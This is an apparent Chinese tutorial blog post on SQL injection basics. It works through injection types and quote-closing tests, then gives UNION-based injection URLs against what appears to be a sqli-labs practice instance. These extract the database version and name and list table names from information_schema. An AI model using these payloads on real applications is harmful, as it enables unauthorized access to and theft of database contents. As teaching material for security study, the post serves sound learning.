Sql注入---基础

文章目录


一.Sql注入概述

        攻击者通过构造恶意的SQL查询语句,将其注入到应用程序的数据库查询中,以执行未经授权的操作或者获取敏感信息。

        假设如下场景,当你想要知道对方实际年龄时碍于某些原因无法直接询问对方实际年龄时,可以通过询问对方的学历,年级等信息倒推出对方的实际年龄,Sql注入原理类似。 

二.Sql注入原理 

        用户通过前端页面输入数据时不受限制(如:输入网址,账户/密码等);后端服务器程序会将前端输入的内容拼接成SQL语句并在数据库中执行;数据库会将SQL语句执行结果返回给后端程序,后端服务器再根据数据库返回结果返回给前端页面一个回显信息(如:密码错误,404等)

        若此时黑客在前端页面输入一些有目的的SQL语句,可能会导致后端程序拼接出一些危险的SQL语句(如:查询用户密码,删库等)在数据库中执行。

举个例子:

常见前端页面输入如下:

 后端拼接SQL语句如下:

 由于输入的用户密码不正确,数据库无法执行,后端会回显账号密码不正确

黑客前端页面输入:

后端拼接SQL语句:、

 上述恶意SQL语句能够查出数据,从而能够绕开登录限制成功登录。

三.Sql注入逆向分析

Sql注入分类

按照查询字段:

  • 字符型:当注入的参数为字符串时,称为字符型。
  • 数字型:当输入的参数为整型时,可以认为是数字型注入。
  • 判断标准:数字类型的sql语句可被运算后执行,而字符型不可、例如。id=1的sql查询结果是aa,id=2的查询结果是bb,设sql注入:id=2-1.若查询结果是aa即为数字型,反之是字符型       

按照注入方法:

  • Union注入,报错注入,布尔注入,时间注入

Sql注入点

        SQL注入点就像是一个漏洞,可以让坏人通过输入一些特殊的东西,像是代码或者指令,让数据库做一些不该做的事情。

        举个例子吧,假设你在一个网站上登录账户,输入用户名和密码来登录。但是如果这个网站没有做好安全措施,坏人可能会在登录框里输入一些奇怪的代码,这样就可以让数据库做一些坏事,比如获取其他用户的密码,甚至是删除一些重要的数据。

Sql 语句闭合方式判断

Sql 语句闭合方式分类:

  • 单引号:‘ /  ’)
  • 双引号:" " / " ")

我们可以通过在URL输入栏中使用布尔

举个例子:

#后端程序根据URL拼接出SQL语句在数据库中执行,报错原因如下
''2'' LIMIT 0,1' at line 1

报错原因分析:
URL中的2'使原先可被执行的SQL语句中两两对称四个单引号的变为5单个引号从而导致SQL语句执行失败,由此可到推出后端程序拼接出的SQL语句闭合方式是单引号闭合

 闭合的作用:

手工提交闭合符号,结束前一段查询语句,后面即可加入其它语句,查询需要的参数。不需要的语句可以使用"--+"注释掉

#使用--+注释多余语句:2'--+
报错SQL语句:''2'' LIMIT 0,1' at line 
使用--+后SQL语句变为:''2'' 即--+会将LIMIT 0,1'注释掉从而是恶意的SQL语句成功执行

Union联合注入

#union联合查询语法
SELECT column1, column2 FROM table1
UNION
SELECT column1, column2 FROM table2;

union联合查询要求: 

  1. 列数和数据类型匹配: UNION 联合查询的 SELECT 子句中要求有相同数量和相同数据类型的列。如果两个 SELECT 子句的列数不匹配或者对应位置的列数据类型不匹配,那么 UNION 查询会失败。

  2. 列名匹配: 虽然 UNION 查询要求 SELECT 子句中列数和数据类型匹配,但是列名并不要求完全相同。如果列名不同,查询结果将会使用第一个 SELECT 子句中的列名作为结果集的列名。

  3. 结果集按顺序合并: UNION 联合查询会将两个或多个 SELECT 查询的结果集按照顺序合并成一个结果集。如果需要按特定顺序排序结果集,可以在 UNION 后面使用 ORDER BY 子句。

Union联合注入案例: 

 首先来看看输入不使用sql注入的sql语句查询出的结果:

#SQL注入语句:
http://192.168.100.10/sql/Less-1/index.php?id=1' union select database()--+
#报错语句:
The used SELECT statements have a different number of columns
#报错语句分析:
由http://192.168.100.10/sql/Less-1/index.php?id=1'拼接出的SQL语句查询出的列数
和SQL注入union联合注入语句:union select database()--+ 查询出的列出不一致

SQL语句解析:select database():查询数据库的名字 -->该语句仅查询一列数据即数据库名字

 如何判断正常拼接出的SQL语句查询出的列数?

可以使用group by /order by 语句

#group by 语法:
SELECT grade, COUNT(*) as num_of_students
FROM students
GROUP BY grade;

#这个查询将会返回每个成绩分数段以及在该分数段内的学生人数。
#成功执行的sql注入语句:
http://192.168.100.10/sql/Less-1/index.php?id=1' group by 1--+
http://192.168.100.10/sql/Less-1/index.php?id=1' group by 2--+
http://192.168.100.10/sql/Less-1/index.php?id=1' group by 3--+
#未成功执行的SQL语句:
http://192.168.100.10/sql/Less-1/index.php?id=1' group by 4--+

逆向分析结果:
 group by 1--+:正常拼接SQL语句查询出的数据含有"1"这个列名
 group by 2--+:正常拼接SQL语句查询出的数据含有"2"这个列名
 group by 3--+:正常拼接SQL语句查询出的数据含有"3"这个列名

 group by 4--+:正常拼接SQL语句查询出的数据不含"4"这个列名

综上判断:正常拼接出的SQL语句共查出3列数据

 四.Union联合注入获取数据库表名和列名

http://192.168.100.10/sql/Less-1/index.php?id=-2' union select 1,version(),database()--+

  mysql中自带数据库information_schema 中存在两张数据表,数据表tables包含了数据库中所有表名的集合,数据表columns包含了所有列名集合。

使用如下SQL注入在tables这张数据表中查询所有数据库的表名(默认返回第一行的表名)
#http://192.168.100.10/sql/Less-1/index.php?id=-2' union select 1,table_name,3 from information_schema.tables  --+

#查询指定数据库的表名可以使用如下sql注入语句(默认返回第一行查询到的表铭)
http://192.168.100.10/sql/Less-1/index.php?id=-2' union select 1,table_name,3 from information_schema.tables where table_schema = database()  --+

table_schema:该列记录所有数据库名 
database() :回显数据库名

 sql注入成功后默认回显所有查询到的数据中的第一行数据,确保能够查询到所有该数据库名的表名可以使用 group_concat()函数。

http://192.168.100.10/sql/Less-1/index.php?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()  --+


总结

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

北 染 星 辰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值